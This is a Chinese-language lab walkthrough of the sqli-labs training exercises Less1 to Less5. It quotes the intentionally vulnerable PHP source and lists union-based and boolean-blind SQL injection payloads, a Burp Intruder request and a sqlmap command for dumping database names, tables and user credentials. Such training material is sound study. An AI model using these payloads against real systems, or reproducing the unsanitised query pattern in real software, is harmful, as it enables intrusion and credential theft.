本文将对sqli-labs进行代码审计
Less1
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
通过payload查询出数据库名
' union select 1,database(),user()--+
'闭合id,然后进行联合查询
l
1' or 1=1--+
1' order by 4--+
-1' union select 1,2,3--+
id=' union select 1,database(),user()--+
' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'--+
id=' union select 1,username,password from users where id = 1--+
Less2
payload
-1 union select 1,database(),user()
Less3
payload:
-1')union select 1,database(),user()--+
Less4
payload
-1")union select 1,database(),user()--+
Less5(盲注)
布尔盲注,时间盲注,还有报错注入
代码分析
payload:
1'--+
盲注可以结合burp来进行sql注入。
1.判断sql注入是否存在,使用上边的payload。返回结果和id=1的页面相同,都显示you are in,说明存在sql盲注。
2.猜测数据库长度
1' and length(database())=1--+
3.猜测数据库名
(1)可以使用left函数猜测
1' and left(database(),1) = 's'--+
(2)可以使用substr函数猜测
1' and substr(database(),1,1)='s'--+
#substr函数从数据库第一位开始,截取一位,字符为s
1' and substr(database(),2-8,1)='s'--+
使用substr函数利用Burp进行爆破
GET /Less-5/?id=1' and substr(database(),1,1)='§a§'--+ HTTP/1.1
Host: www.sql.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
数据库名第一位是s,接下来爆破第二位
全部爆破完数据库名为security
4.爆破数据库security数据库中表的数量
1' and (select count(table_name) from information_schema.tables where table_schema = 'security') =4--+
5.爆破表的名称
1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) = 'e'--+
#其中limit0,1是获取第一个表,1,1就是第二个表,2,1是第三个表,3,1是第四个表
#1,1是第一个表中的第一个字符,2,1就是第二个字符,依次类推。
下图为爆破第一个表的名称演示。
依次往下爆破,第一个表名为emails
剩下的可以使用继续使用Burp爆破或者sqlmap进行爆破
python sqlmap.py -u "http://www.sql.com/Less-5/?id=1" --batch -D security --tables --threads 10
6.爆破users表中的列名
(1)先猜测users表中有几列数据
1' and (select count(column_name) from information_schema.columns where table_name='users')=3--+
检测出有3列数据;
(2)使用sql语法中的正则猜测列名
1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
#^username是以username开头的字段,还可以尝试^password
#测试结果为username,password,id
7.获取users表中的内容
需要使用ascii
payload
1' and (ascii(substr((select username from users limit 0,1),1,1)))=68--+
#username列的第一个字符是D(上图68对应D)
1' and (ascii(substr((select username from users limit 0,1),2,1)))=117
#第二个字符是u(117对应u)
1' and (ascii(substr((select username from users limit 0,1),3,1)))=109--+
#第三个字符109->m
1' and (ascii(substr((select username from users limit 0,1),4,1)))=98--+
#第四个字符是98->b
username为Dumn
password内容获取
1' and (ascii(substr((select password from users limit 0,1),1,1)))=68--+
###获取username的第二个字段值,可以不使用ASCII码,如下:
1' and (substr((select username from users limit 1,1),1,1))='A'--+
1' and (substr((select username from users limit 1,1),2,1))='A'--+
1' and (substr((select username from users limit 1,1),3,1))='A'--+
依次往下猜测,可以使用Burp爆破